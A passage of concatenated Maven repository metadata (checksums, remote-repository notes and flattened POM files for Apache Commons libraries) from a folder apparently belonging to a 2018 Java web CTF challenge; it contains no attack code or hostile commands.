      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2/commons-collections-3.2.pom.sha1 ================================================ 0c8e56dc5476c517f1596f0686d72f51ef24d9e3 /home/maven/repository-staging/to-ibiblio/maven2/commons-collections/commons-collections/3.2/commons-collections-3.2.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 commons-collections-3.2.1.jar>central= commons-collections-3.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar.sha1 ================================================ 761ea405b9b37ced573d2df0d1e3a4e0f9edc668 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.pom ================================================ org.apache.commons commons-parent 9 4.0.0 commons-collections commons-collections 3.2.1 Commons Collections 2001 Types that extend and augment the Java Collections Framework. http://commons.apache.org/collections/ jira http://issues.apache.org/jira/browse/COLLECTIONS scm:svn:http://svn.apache.org/repos/asf/commons/proper/collections/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/collections/trunk http://svn.apache.org/viewvc/commons/proper/collections/trunk Stephen Colebourne scolebourne Morgan Delagrange morgand Matthew Hawthorne matth Geir Magnusson geirm Craig McClanahan craigmcc Phil Steitz psteitz Arun M. Thomas amamment Rodney Waldhoff rwaldhoff Henri Yandell bayard James Carman jcarman Robert Burrell Donkin rdonkin Rafael U. C. Afonso Max Rydahl Andersen Federico Barbieri Arron Bates Nicola Ken Barozzi Sebastian Bazley Matt Benson Ola Berg Christopher Berry Nathan Beyer Janek Bogucki Chuck Burdick Dave Bryson Julien Buret Jonathan Carlson Ram Chidambaram Steve Clark Eric Crampton Dimiter Dimitrov Peter Donald Steve Downey Rich Dougherty Tom Dunham Stefano Fornari Andrew Freeman Gerhard Froehlich Paul Jack Eric Johnson Kent Johnson Marc Johnson Nissim Karpenstein Shinobu Kawai Mohan Kishore Simon Kitching Thomas Knych Serge Knystautas Peter KoBek Jordan Krey Olaf Krische Guilhem Lavaux Paul Legato David Leppik Berin Loritsch Hendrik Maryns Stefano Mazzocchi Brian McCallister Steven Melzer Leon Messerschmidt Mauricio S. Moura Kasper Nielsen Stanislaw Osinski Alban Peignier Mike Pettypiece Steve Phelps Ilkka Priha Jonas Van Poucke Will Pugh Herve Quiroz Daniel Rall Robert Ribnitz Huw Roberts Henning P. Schmiedehausen Howard Lewis Ship Joe Raysa Thomas Schapitz Jon Schewe Andreas Schlosser Christian Siefkes Michael Smith Stephen Smith Jan Sorensen Jon S. Stevens James Strachan Leo Sutic Chris Tilden Neil O'Toole Jeff Turner Kazuya Ujihara Jeff Varszegi Ralph Wagner David Weinrich Dieter Wimberger Serhiy Yevtushenko Jason van Zyl junit junit 3.8.1 test 1.2 1.2 collections 3.2.1 -bin COLLECTIONS 12310465 src/java src/test org.apache.maven.plugins maven-surefire-plugin org/apache/commons/collections/TestAllPackages.java maven-antrun-plugin package run maven-assembly-plugin src/assembly/bin.xml src/assembly/src.xml gnu ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.pom.sha1 ================================================ c812635cfb96cd2431ee315e73418eed86aeb5e4 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-dbcp/commons-dbcp/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 commons-dbcp-1.4.jar>central= commons-dbcp-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-dbcp/commons-dbcp/1.4/commons-dbcp-1.4.jar.sha1 ================================================ 30be73c965cc990b153a100aaaaafcf239f82d39 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-dbcp/commons-dbcp/1.4/commons-dbcp-1.4.pom ================================================ org.apache.commons commons-parent 12 4.0.0 commons-dbcp commons-dbcp 1.4 Commons DBCP 2001 Commons Database Connection Pooling http://commons.apache.org/dbcp/ people.apache.org Commons DBCP scp://people.apache.org/www/commons.apache.org/dbcp jira http://issues.apache.org/jira/browse/DBCP scm:svn:http://svn.apache.org/repos/asf/commons/proper/dbcp/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/dbcp/trunk http://svn.apache.org/viewvc/commons/proper/dbcp/trunk Morgan Delagrange morgand Geir Magnusson geirm Craig McClanahan craigmcc John McNally jmcnally Martin Poeschl mpoeschl mpoeschl@marmot.at tucana.at Rodney Waldhoff rwaldhoff David Weinrich dweinr1 Dirk Verbeeck dirkv Yoav Shapira yoavs yoavs@apache.org Apache Software Foundation Phil Steitz psteitz Jörg Schaible joehni joerg.schaible@gmx.de +1 Mark Thomas markt markt@apache.org Apache Software Foundation Todd Carmichael toddc@concur.com Wayne Woodfield Dain Sundstrom dain@apache.org Philippe Mouawad commons-pool commons-pool 1.5.4 junit junit 3.8.2 test org.apache.geronimo.specs geronimo-jta_1.1_spec 1.1.1 true tomcat naming-common 5.0.28 test tomcat naming-java 5.0.28 test commons-logging commons-logging 1.1.1 test org.apache.geronimo.modules geronimo-transaction 1.2-beta test 1.6 1.6 dbcp 1.4 DBCP 12310469 src/java src/test src/test testpool.jocl . META-INF NOTICE.txt LICENSE.txt ${basedir}/src/test testpool.jocl org.codehaus.mojo cobertura-maven-plugin 2.3 org.apache.maven.plugins maven-surefire-plugin plain **/Tester*.java **/Test*$*.java maven-assembly-plugin src/assembly/bin.xml src/assembly/src.xml gnu org.codehaus.mojo findbugs-maven-plugin 2.1 Normal Default ${basedir}/findbugs-exclude-filter.xml org.codehaus.mojo cobertura-maven-plugin 2.3 org.apache.maven.plugins maven-javadoc-plugin 2.4 http://java.sun.com/j2se/1.5.0/docs/api http://commons.apache.org/pool/api-1.5.4 http://java.sun.com/j2ee/sdk_1.3/techdocs/api org.apache.maven.plugins maven-changes-plugin 2.0 ${basedir}/xdocs/changes.xml %URL%/%ISSUE% src/template changes-report org.apache.maven.plugins maven-checkstyle-plugin 2.1 ${basedir}/checkstyle.xml false org.apache.maven.plugins maven-pmd-plugin 2.4 checkstyle.xml ${maven.compile.target} org.codehaus.mojo clirr-maven-plugin 2.2.2 1.2.2 info ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-dbcp/commons-dbcp/1.4/commons-dbcp-1.4.pom.sha1 ================================================ c8313cb1e307b5aacb08d0fdb1038b17d1cade99 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:24 CST 2018 commons-digester-1.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.6/commons-digester-1.6.pom ================================================ 4.0.0 commons-digester commons-digester 1.6 commons-beanutils commons-beanutils 1.6 commons-logging commons-logging 1.0 commons-collections commons-collections 2.1 xml-apis xml-apis 1.0.b2 junit junit 3.8.1 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.6/commons-digester-1.6.pom.sha1 ================================================ 807b7186d68503e8a596c19f9d6ff2c70416967c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.8/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 commons-digester-1.8.jar>central= commons-digester-1.8.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.8/commons-digester-1.8.jar.sha1 ================================================ dc6a73fdbd1fa3f0944e8497c6c872fa21dca37e - ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.8/commons-digester-1.8.pom ================================================ 4.0.0 commons-digester commons-digester Digester 1.8 The Digester package lets you configure an XML->Java object mapping module which triggers certain actions called rules whenever a particular pattern of nested XML elements is recognized. http://jakarta.apache.org/commons/digester/ http://issues.apache.org/jira/
      commons-dev@jakarta.apache.org
      2001 Commons Dev List commons-dev-subscribe@jakarta.apache.org commons-dev-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/mod_mbox/jakarta-commons-dev/ Commons User List commons-user-subscribe@jakarta.apache.org commons-user-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/mod_mbox/jakarta-commons-user/ craigmcc Craig McClanahan craigmcc@apache.org Sun Microsystems rdonkin Robert Burrell Donkin rdonkin@apache.org sanders Scott Sanders sanders@totalsync.com jstrachan James Strachan jstrachan@apache.org jvanzyl Jason van Zyl jvanzyl@apache.org tobrien Tim OBrien tobrien@apache.org jfarcand Jean-Francois Arcand jfarcand@apache.org skitching Simon Kitching skitching@apache.org rahul Rahul Akolkar rahul AT apache DOT org Bradley M. Handy bhandy@users.sf.net Christopher Lenz Ted Husted David H. Martin Henri Chen Janek Bogucki Mark Huisman Paul Jack Anton Maslovsky Matt Cleveland Gabriele Carcassi Wendy Smoak java@wendysmoak.com Kevin Ross kevin.ross@iverticalleap.com The Apache Software License, Version 2.0 /LICENSE.txt scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/digester/trunk http://svn.apache.org/repos/asf/jakarta/commons/proper/digester/trunk The Apache Software Foundation http://jakarta.apache.org src/java src/test ${pom.build.sourceDirectory} **/*.dtd ${pom.build.unitTestSourceDirectory} **/*.xml ${pom.build.sourceDirectory} **/*.dtd maven-surefire-plugin **/*Test.java **/*TestCase.java maven-xdoc-plugin 1.9.2 <strong>Site Only</strong> - v1.9.2 (minimum) required for building the Digester Site documentation. commons-beanutils commons-beanutils 1.7.0 commons-logging commons-logging 1.1 xml-apis xml-apis 1.0.b2 provided junit junit 3.8.1 test default Default Repository file:///www/jakarta.apache.org/builds/jakarta-commons/digester/ default Default Site scp://people.apache.org//www/jakarta.apache.org/commons/digester/ converted
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-digester/commons-digester/1.8/commons-digester-1.8.pom.sha1 ================================================ ceb07daf87a43ec66829fcd8c23a40aead5a4b40 - ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-fileupload/commons-fileupload/1.3.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 commons-fileupload-1.3.1.jar>central= commons-fileupload-1.3.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-fileupload/commons-fileupload/1.3.1/commons-fileupload-1.3.1.jar.sha1 ================================================ c621b54583719ac0310404463d6d99db27e1052c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-fileupload/commons-fileupload/1.3.1/commons-fileupload-1.3.1.pom ================================================ 4.0.0 org.apache.commons commons-parent 32 commons-fileupload commons-fileupload 1.3.1 Apache Commons FileUpload The Apache Commons FileUpload component provides a simple yet flexible means of adding support for multipart file upload functionality to servlets and web applications. http://commons.apache.org/proper/commons-fileupload/ 2002 Martin Cooper martinc martinc@apache.org Yahoo! dIon Gillard dion dion@apache.org Multitask Consulting John McNally jmcnally jmcnally@collab.net CollabNet Daniel Rall dlr dlr@finemaltcoding.com CollabNet Jason van Zyl jvanzyl jason@zenplex.com Zenplex Robert Burrell Donkin rdonkin rdonkin@apache.org Sean C. Sullivan sullis sean |at| seansullivan |dot| com Jochen Wiedmann jochen jochen.wiedmann@gmail.com Simone Tripodi simonetripodi simonetripodi@apache.org Adobe Gary Gregory ggregory ggregory@apache.org Aaron Freeman aaron@sendthisfile.com Daniel Fabian dfabian@google.com Jörg Heinicke joerg.heinicke@gmx.de Stepan Koltsov yozh@mx1.ru Michael Macaluso michael.public@wavecorp.com Amichai Rothman amichai2@amichais.net Alexander Sova bird@noir.crocodile.org Paul Spurr pspurr@gmail.com Thomas Vandahl tv@apache.org Henry Yandell bayard@apache.org Jan Novotný novotnaci@gmail.com frank mailsurfie@gmail.com Rafal Krzewski Rafal.Krzewski@e-point.pl Sean Legassick sean@informage.net Oleg Kalnichevski oleg@ural.ru David Sean Taylor taylor@apache.org scm:svn:http://svn.apache.org/repos/asf/commons/proper/fileupload/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/fileupload/trunk http://svn.apache.org/viewvc/commons/proper/fileupload/trunk jira http://issues.apache.org/jira/browse/FILEUPLOAD 1.5 1.5 ISO-8859-1 fileupload 1.3.1 RC1 FILEUPLOAD 12310476 !org.apache.commons.fileupload.util.mime,org.apache.commons.*;version=${project.version};-noimport:=true !javax.portlet,* javax.portlet junit junit 4.11 test javax.servlet servlet-api 2.4 provided portlet-api portlet-api 1.0 provided commons-io commons-io 2.2 maven-assembly-plugin ${basedir}/src/main/assembly/bin.xml ${basedir}/src/main/assembly/src.xml gnu maven-release-plugin clean site verify deploy org.apache.maven.plugins maven-changes-plugin ${commons.changes.version} %URL%/../%ISSUE% changes-report org.apache.maven.plugins maven-checkstyle-plugin 2.10 ${basedir}/src/checkstyle/fileupload_checks.xml ${basedir}/src/checkstyle/checkstyle-suppressions.xml false ${basedir}/src/checkstyle/license-header.txt org.apache.maven.plugins maven-pmd-plugin 2.7.1 ${maven.compiler.target} ${basedir}/src/checkstyle/fileupload_basic.xml org.codehaus.mojo clirr-maven-plugin ${commons.clirr.version} commons-fileupload commons-fileupload 1.3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-fileupload/commons-fileupload/1.3.1/commons-fileupload-1.3.1.pom.sha1 ================================================ 909928bd37f1bf2accb0ec2c37252a540671b332 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 commons-io-1.4.jar>central= commons-io-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/1.4/commons-io-1.4.jar.sha1 ================================================ a8762d07e76cfde2395257a5da47ba7c1dbd3dce ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/1.4/commons-io-1.4.pom ================================================ org.apache.commons commons-parent 7 4.0.0 commons-io commons-io 1.4 Commons IO 2002 Commons-IO contains utility classes, stream implementations, file filters, file comparators and endian classes. http://commons.apache.org/io/ jira http://issues.apache.org/jira/browse/IO scm:svn:http://svn.apache.org/repos/asf/commons/proper/io/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/io/trunk http://svn.apache.org/viewvc/commons/proper/io/trunk Scott Sanders sanders sanders@apache.org Java Developer dIon Gillard dion dion@apache.org Java Developer Nicola Ken Barozzi nicolaken nicolaken@apache.org Java Developer Henri Yandell bayard bayard@apache.org Java Developer Stephen Colebourne scolebourne Java Developer 0 Jeremias Maerki jeremias jeremias@apache.org Java Developer +1 Matthew Hawthorne matth matth@apache.org Java Developer Martin Cooper martinc martinc@apache.org Java Developer Rob Oxspring roxspring roxspring@apache.org Java Developer Jochen Wiedmann jochen jochen.wiedmann@gmail.com Niall Pemberton niallp Java Developer Jukka Zitting jukka Java Developer Rahul Akolkar Jason Anderson Nathan Beyer Emmanuel Bourg Chris Eldredge Magnus Grimsell Jim Harrington Thomas Ledoux Andy Lehane Marcelo Liberato Alban Peignier alban.peignier at free.fr Ian Springer Masato Tezuka James Urie Frank W. Zammetti junit junit 3.8.1 test src/java src/test org.apache.maven.plugins maven-surefire-plugin **/*Test* **/*AbstractTestCase* **/AllIOTestSuite* **/PackageTestSuite* **/testtools/** **/*$* maven-assembly-plugin src/main/assembly/bin.xml src/main/assembly/src.xml gnu maven-jar-plugin org.apache.commons.io http://www.apache.org/licenses/LICENSE-2.0.txt 2 Apache Commons IO Bundle ${project.organization.name} ${project.version} org.apache.commons.io;version=${project.version}, org.apache.commons.io.comparator;version=${project.version}, org.apache.commons.io.filefilter;version=${project.version}, org.apache.commons.io.input;version=${project.version}, org.apache.commons.io.output;version=${project.version} org.apache.commons.io;version=${project.version}, org.apache.commons.io.comparator;version=${project.version}, org.apache.commons.io.filefilter;version=${project.version}, org.apache.commons.io.input;version=${project.version}, org.apache.commons.io.output;version=${project.version} org.codehaus.mojo cobertura-maven-plugin org.apache.maven.plugins maven-changes-plugin 2.0-beta-3 %URL%/../%ISSUE% &&resolution=1&fixfor=12312101 jira-report org.apache.maven.plugins maven-checkstyle-plugin 2.1 checkstyle.xml false org.apache.maven.plugins maven-javadoc-plugin 2.3 1.4 http://java.sun.com/j2se/1.4.2/docs/api org.codehaus.mojo clirr-maven-plugin 2.1 1.3.2 info release maven-site-plugin site package maven-antrun-plugin run package maven-assembly-plugin attached package rc maven-site-plugin site package maven-assembly-plugin attached package ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/1.4/commons-io-1.4.pom.sha1 ================================================ 526f34cad0a113787f3eb8ee1d0fe0abebcba887 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/2.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 commons-io-2.5.jar>central= commons-io-2.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/2.5/commons-io-2.5.jar.sha1 ================================================ 2852e6e05fbb95076fc091f6d1780f1f8fe35e0f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/2.5/commons-io-2.5.pom ================================================ org.apache.commons commons-parent 39 4.0.0 commons-io commons-io 2.5 Apache Commons IO 2002 The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more. http://commons.apache.org/proper/commons-io/ jira http://issues.apache.org/jira/browse/IO apache.website Apache Commons Site scm:svn:https://svn.apache.org/repos/infra/websites/production/commons/content/proper/commons-i/ scm:svn:http://svn.apache.org/repos/asf/commons/proper/io/tags/commons-io-2.5 scm:svn:https://svn.apache.org/repos/asf/commons/proper/io/tags/commons-io-2.5 http://svn.apache.org/viewvc/commons/proper/io/tags/commons-io-2.5 Scott Sanders sanders sanders@apache.org Java Developer dIon Gillard dion dion@apache.org Java Developer Nicola Ken Barozzi nicolaken nicolaken@apache.org Java Developer Henri Yandell bayard bayard@apache.org Java Developer Stephen Colebourne scolebourne Java Developer 0 Jeremias Maerki jeremias jeremias@apache.org Java Developer +1 Matthew Hawthorne matth matth@apache.org Java Developer Martin Cooper martinc martinc@apache.org Java Developer Rob Oxspring roxspring roxspring@apache.org Java Developer Jochen Wiedmann jochen jochen.wiedmann@gmail.com Niall Pemberton niallp Java Developer Jukka Zitting jukka Java Developer Gary Gregory ggregory ggregory@apache.org http://www.garygregory.com -5 Kristian Rosenvold krosenvold krosenvold@apache.org +1 Rahul Akolkar Jason Anderson Nathan Beyer Emmanuel Bourg Chris Eldredge Magnus Grimsell Jim Harrington Thomas Ledoux Andy Lehane Marcelo Liberato Alban Peignier alban.peignier at free.fr Ian Springer Dominik Stadler Masato Tezuka James Urie Frank W. Zammetti junit junit 4.12 test 1.6 1.6 io RC4 2.5 (requires JDK 1.6+) IO 12310477 org.apache.commons.io; org.apache.commons.io.comparator; org.apache.commons.io.filefilter; org.apache.commons.io.input; org.apache.commons.io.output;version=1.4.9999;-noimport:=true, org.apache.commons.io; org.apache.commons.io.comparator; org.apache.commons.io.filefilter; org.apache.commons.io.input; org.apache.commons.io.output; org.apache.commons.io.*;version=${project.version};-noimport:=true site-content org.apache.maven.plugins maven-surefire-plugin 2.14.1 xerces:xercesImpl pertest -Xmx25M **/*Test*.class **/*AbstractTestCase* **/testtools/** **/*$* maven-assembly-plugin src/assembly/bin.xml src/assembly/src.xml gnu org.apache.maven.plugins maven-scm-publish-plugin javadocs org.apache.rat apache-rat-plugin src/test/resources/**/*.bin test/** site-content/** .pmd src/site/resources/download_*.cgi org.codehaus.mojo cobertura-maven-plugin 2.7 org.apache.maven.plugins maven-checkstyle-plugin 2.12.1 ${basedir}/checkstyle.xml false org.codehaus.mojo findbugs-maven-plugin ${commons.findbugs.version} Normal Default ${basedir}/findbugs-exclude-filter.xml org.apache.rat apache-rat-plugin src/test/resources/**/*.bin test/** site-content/** .pmd src/site/resources/download_*.cgi setup-checkout site-content org.apache.maven.plugins maven-antrun-plugin 1.8 prepare-checkout pre-site run ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-io/commons-io/2.5/commons-io-2.5.pom.sha1 ================================================ 7e39112810f6096061c43504188d18edc7d7eece ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:12 CST 2018 commons-lang-2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.1/commons-lang-2.1.pom ================================================ 4.0.0 commons-lang commons-lang Lang 2.1 Commons.Lang, a package of Java utility classes for the classes that are in java.lang's hierarchy, or are considered to be so standard as to justify existence in java.lang. http://jakarta.apache.org/commons/${pom.artifactId.substring(8)}/ http://issues.apache.org/bugzilla/
      commons-dev@jakarta.apache.org
      2001 Commons Dev List commons-dev-subscribe@jakarta.apache.org commons-dev-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/eyebrowse/SummarizeList?listName=commons-dev@jakarta.apache.org Commons User List commons-user-subscribe@jakarta.apache.org commons-user-unsubscribe@jakarta.apache.org http://mail-archives.apache.org/eyebrowse/SummarizeList?listName=commons-user@jakarta.apache.org dlr Daniel Rall dlr@finemaltcoding.com CollabNet, Inc. Java Developer scolebourne Stephen Colebourne scolebourne@joda.org SITA ATS Ltd Java Developer 0 bayard Henri Yandell bayard@generationjava.com Java Developer scaswell Steven Caswell stevencaswell@apache.org Java Developer -5 rdonkin Robert Burrell Donkin rdonkin@apache.org Java Developer ggregory Gary D. Gregory ggregory@seagullsw.com Seagull Software Java Developer -8 psteitz Phil Steitz phil@steitz.com Java Developer fredrik Fredrik Westermarck Java Developer C. Scott Ananian Chris Audley Stephane Bailliez Michael Becke Ola Berg Stefan Bodewig Janek Bogucki Mike Bowler Sean Brown Alexander Day Chaffee Al Chou Greg Coladonato Maarten Coene Justin Couch Michael Davey Norm Deane Ringo De Smet Russel Dittmar Steve Downey Matthias Eichel Christopher Elkins Chris Feldhacker Pete Gieser Jason Gritman Matthew Hawthorne Michael Heuer Marc Johnson Tetsuya Kaneuchi Nissim Karpenstein Ed Korthof Holger Krauth Rafal Krupinski Rafal Krzewski Craig R. McClanahan Rand McNeely Nikolay Metchev Kasper Nielsen Tim O'Brien Brian S O'Neill Andrew C. Oliver Moritz Petersen Dmitri Plotnikov Neeme Praks Eric Pugh Travis Reeder Antony Riley Scott Sanders Ralph Schaer Henning P. Schmiedehausen Sean Schofield Ville Skytta Jan Sorensen Glen Stampoultzis Scott Stanchfield Jon S. Stevens Sean C. Sullivan Ashwin Suresh Helge Tesgaard Arun Mammen Thomas Masato Tezuka Jeff Varszegi Chris Webb Mario Winterer The Apache Software License, Version 2.0 /LICENSE.txt scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/${pom.artifactId.substring(8)}/trunk http://svn.apache.org/viewcvs/jakarta/commons/proper/${pom.artifactId.substring(8)}/trunk The Apache Software Foundation http://jakarta.apache.org src/java src/test ${pom.build.unitTestSourceDirectory} **/*.xml maven-surefire-plugin **/*TestSuite.java **/AllLangTestSuite.java org/apache/commons/lang/text/**/*.java junit junit 3.8.1 test default Default Repository file:///www/jakarta.apache.org/builds/jakarta-commons/${pom.artifactId.substring(8)}/ default Default Site scp://jakarta.apache.org//www/jakarta.apache.org/commons/${pom.artifactId.substring(8)}/
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.1/commons-lang-2.1.pom.sha1 ================================================ a34d992202615804c534953aba402de55d8ee47c /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-lang/commons-lang/2.1/commons-lang-2.1.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:47 CST 2018 commons-lang-2.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.4/commons-lang-2.4.pom ================================================ org.apache.commons commons-parent 9 4.0.0 commons-lang commons-lang 2.4 Commons Lang 2001 Commons Lang, a package of Java utility classes for the classes that are in java.lang's hierarchy, or are considered to be so standard as to justify existence in java.lang. http://commons.apache.org/lang/ jira http://issues.apache.org/jira/browse/LANG scm:svn:http://svn.apache.org/repos/asf/commons/proper/lang/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/lang/trunk http://svn.apache.org/viewvc/commons/proper/lang/trunk Daniel Rall dlr dlr@finemaltcoding.com CollabNet, Inc. Java Developer Stephen Colebourne scolebourne scolebourne@joda.org SITA ATS Ltd 0 Java Developer Henri Yandell bayard bayard@apache.org Java Developer Steven Caswell scaswell stevencaswell@apache.org Java Developer -5 Robert Burrell Donkin rdonkin rdonkin@apache.org Java Developer Gary D. Gregory ggregory ggregory@seagullsw.com Seagull Software -8 Java Developer Phil Steitz psteitz phil@steitz.com Java Developer Fredrik Westermarck fredrik Java Developer James Carman jcarman jcarman@apache.org Carman Consulting, Inc. Java Developer Niall Pemberton niallp Java Developer Matt Benson mbenson Java Developer C. Scott Ananian Chris Audley Stephane Bailliez Michael Becke Ola Berg Nathan Beyer Stefan Bodewig Janek Bogucki Mike Bowler Sean Brown Alexander Day Chaffee Al Chou Greg Coladonato Maarten Coene Justin Couch Michael Davey Norm Deane Ringo De Smet Russel Dittmar Steve Downey Matthias Eichel Christopher Elkins Chris Feldhacker Pete Gieser Jason Gritman Matthew Hawthorne Michael Heuer Oliver Heger Chris Hyzer Marc Johnson Shaun Kalley Tetsuya Kaneuchi Nissim Karpenstein Ed Korthof Holger Krauth Rafal Krupinski Rafal Krzewski Craig R. McClanahan Rand McNeely Dave Meikle Nikolay Metchev Kasper Nielsen Tim O'Brien Brian S O'Neill Andrew C. Oliver Alban Peignier Moritz Petersen Dmitri Plotnikov Neeme Praks Eric Pugh Stephen Putman Travis Reeder Antony Riley Scott Sanders Ralph Schaer Henning P. Schmiedehausen Sean Schofield Reuben Sivan Ville Skytta Jan Sorensen Glen Stampoultzis Scott Stanchfield Jon S. Stevens Sean C. Sullivan Ashwin Suresh Helge Tesgaard Arun Mammen Thomas Masato Tezuka Jeff Varszegi Chris Webb Mario Winterer Stepan Koltsov Holger Hoffstatte junit junit 3.8.1 test 1.3 1.2 lang 2.4 LANG 12310481 src/java src/test org.apache.maven.plugins maven-surefire-plugin **/*TestSuite.java **/AllLangTestSuite.java maven-assembly-plugin src/assembly/bin.xml src/assembly/src.xml gnu maven-checkstyle-plugin 2.1 ${basedir}/checkstyle.xml false org.codehaus.mojo clirr-maven-plugin 2.1.1 2.3 info ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.4/commons-lang-2.4.pom.sha1 ================================================ dadd4b8eb8f55df27c1e7f9083cb8223bd3e357e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 commons-lang-2.5.jar>central= commons-lang-2.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.5/commons-lang-2.5.jar.sha1 ================================================ b0236b252e86419eef20c31a44579d2aee2f0a69 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/commons-lang/commons-lang/2.5/commons-lang-2.5.pom ================================================ org.apache.commons commons-parent 12 4.0.0 commons-lang commons-lang 2.5 Commons Lang 2001 Commons Lang, a package of Java utility classes for the classes that are in java.lang's hierarchy, or are considered to be so standard as to justify existence in java.lang. http://commons.apache.org/lang/ jira http://issues.apache.org/jira/browse/LANG scm:svn:http://svn.apache.org/repos/asf/commons/proper/lang/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/lang/trunk http://svn.apache.org/viewvc/commons/proper/lang/trunk Daniel Rall dlr dlr@finemaltcoding.com CollabNet, Inc. Java Developer Stephen Colebourne scolebourne scolebourne@joda.org SITA ATS Ltd 0 Java Developer Henri Yandell bayard bayard@apache.org Java Developer Steven Caswell scaswell stevencaswell@apache.org Java Developer -5 Robert Burrell Donkin rdonkin rdonkin@apache.org Java Developer Gary D. Gregory ggregory ggregory@seagullsw.com Seagull Software -8 Java Developer Phil Steitz psteitz phil@steitz.com Java Developer Fredrik Westermarck fredrik Java Developer James Carman jcarman jcarman@apache.org Carman Consulting, Inc. Java Developer Niall Pemberton niallp Java Developer Matt Benson mbenson Java Developer Joerg Schaible joehni joerg.schaible@gmx.de Java Developer +1 Oliver Heger oheger oheger@apache.org +1 Java Developer Paul Benedict pbenedict pbenedict@apache.org Java Developer C. Scott Ananian Chris Audley Stephane Bailliez Michael Becke Benjamin Bentmann Ola Berg Nathan Beyer Stefan Bodewig Janek Bogucki Mike Bowler Sean Brown Alexander Day Chaffee Al Chou Greg Coladonato Maarten Coene Justin Couch Michael Davey Norm Deane Ringo De Smet Russel Dittmar Steve Downey Matthias Eichel Christopher Elkins Chris Feldhacker Pete Gieser Jason Gritman Matthew Hawthorne Michael Heuer Chris Hyzer Marc Johnson 